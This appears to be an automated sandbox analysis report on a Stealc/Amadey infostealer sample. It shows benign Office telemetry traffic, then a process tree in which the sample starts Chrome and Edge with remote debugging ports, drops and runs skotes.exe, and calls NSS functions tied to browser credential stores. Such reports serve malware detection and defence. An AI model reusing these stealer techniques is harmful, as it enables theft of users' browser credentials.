68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:38 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:38 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: a0c7144d-101e-007a-2509-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085538Z-1866b5c5fbbccpxfhC1DFWbkng000000013g000000001p1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:38 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.7	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:38 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:38 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:38 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 8ba6fbd3-701e-0032-29d2-2ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085538Z-16547b76f7frbg6bhC1DFWr5400000000mv0000000006nxn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:38 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:38 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:38 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: e612f54f-b01e-003d-2faf-36d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085538Z-1866b5c5fbbrf5vdhC1DFW64zw000000015g00000000cym3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:38 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:39 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 09fa9a61-e01e-0051-06c6-3684b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085539Z-164f84587bfj5xwnhC1DFW3a2800000000d0000000003kk4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:39 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:39 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 1d414214-201e-0003-4d32-2cf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085539Z-16547b76f7fm7xw6hC1DFW5px40000000mqg00000000kmw3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:39 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:39 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:39 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 28de32b2-801e-00ac-36ca-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085539Z-164f84587bfm8kdnhC1DFWey4g00000001700000000004vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:39 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Target ID:	0
Start time:	03:55:07
Start date:	15/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x4f0000
File size:	1'812'992 bytes
MD5 hash:	7E49D88AC571E5C78FDAA08FDE637A9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1348648639.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1806286590.000000000108E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1804765583.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:55:19
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:55:22
Start date:	15/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=2136,i,14109516070417243436,11668892957691290116,262144 /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:55:30
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:55:30
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2224,i,3718411789994067923,11044565851932763251,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:55:30
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:55:31
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:3
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	03:55:36
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=5380 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:55:36
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=5388 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:55:52
Start date:	15/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCAAFBFB.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:55:52
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:55:53
Start date:	15/11/2024
Path:	C:\Users\user\DocumentsHDGCAAFBFB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsHDGCAAFBFB.exe"
Imagebase:	0x3d0000
File size:	3'218'944 bytes
MD5 hash:	C9B569B709CE00A483E1F7B55E1968D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.1897829806.00000000003D1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:55:58
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x940000
File size:	3'218'944 bytes
MD5 hash:	C9B569B709CE00A483E1F7B55E1968D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.1916840148.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 47%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:56:00
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x940000
File size:	3'218'944 bytes
MD5 hash:	C9B569B709CE00A483E1F7B55E1968D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.1920883927.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	03:56:31
Start date:	15/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7280 --field-trial-handle=2000,i,11935652120385327868,1047922042110234750,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	03:57:00
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x940000
File size:	3'218'944 bytes
MD5 hash:	C9B569B709CE00A483E1F7B55E1968D7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.2595298306.0000000000941000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Function 6CFA6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6D0F2120,6CFA7E60), ref: 6CFA6EBC
TlsGetValue.KERNEL32 ref: 6CFA6EDF
EnterCriticalSection.KERNEL32(?), ref: 6CFA6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CFA6F25

Part of subcall function 6CF7A900: TlsGetValue.KERNEL32(00000000,?,6D0F14E4,?,6CF14DD9), ref: 6CF7A90F
Part of subcall function 6CF7A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CF7A94F

PR_Unlock.NSS3 ref: 6CFA6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CFA6FA9
TlsGetValue.KERNEL32 ref: 6CFA70B4
EnterCriticalSection.KERNEL32(?), ref: 6CFA70C8
PR_CallOnce.NSS3(6D0F24C0,6CFE7590), ref: 6CFA7104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFA7117
SECOID_Init.NSS3 ref: 6CFA7128
PORT_Alloc_Util.NSS3(00000057), ref: 6CFA714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA71A9
PR_NotifyAllCondVar.NSS3 ref: 6CFA71CF
PR_Unlock.NSS3 ref: 6CFA71DD
free.MOZGLUE(?), ref: 6CFA71EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFA7208
free.MOZGLUE(00000000), ref: 6CFA7221
free.MOZGLUE(00000001), ref: 6CFA7235
TlsGetValue.KERNEL32 ref: 6CFA724A
EnterCriticalSection.KERNEL32(?), ref: 6CFA725E
PR_NotifyCondVar.NSS3 ref: 6CFA7273
PR_Unlock.NSS3 ref: 6CFA7281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CFA7291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA72B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA72D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA72E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA7301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA7310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA7335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA7344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA7363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CFA7372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6D0E0148,,defaultModDB,internalKeySlot), ref: 6CFA74CC
free.MOZGLUE(00000000), ref: 6CFA7513
free.MOZGLUE(00000000), ref: 6CFA751B
free.MOZGLUE(00000000), ref: 6CFA7528
free.MOZGLUE(00000000), ref: 6CFA753C
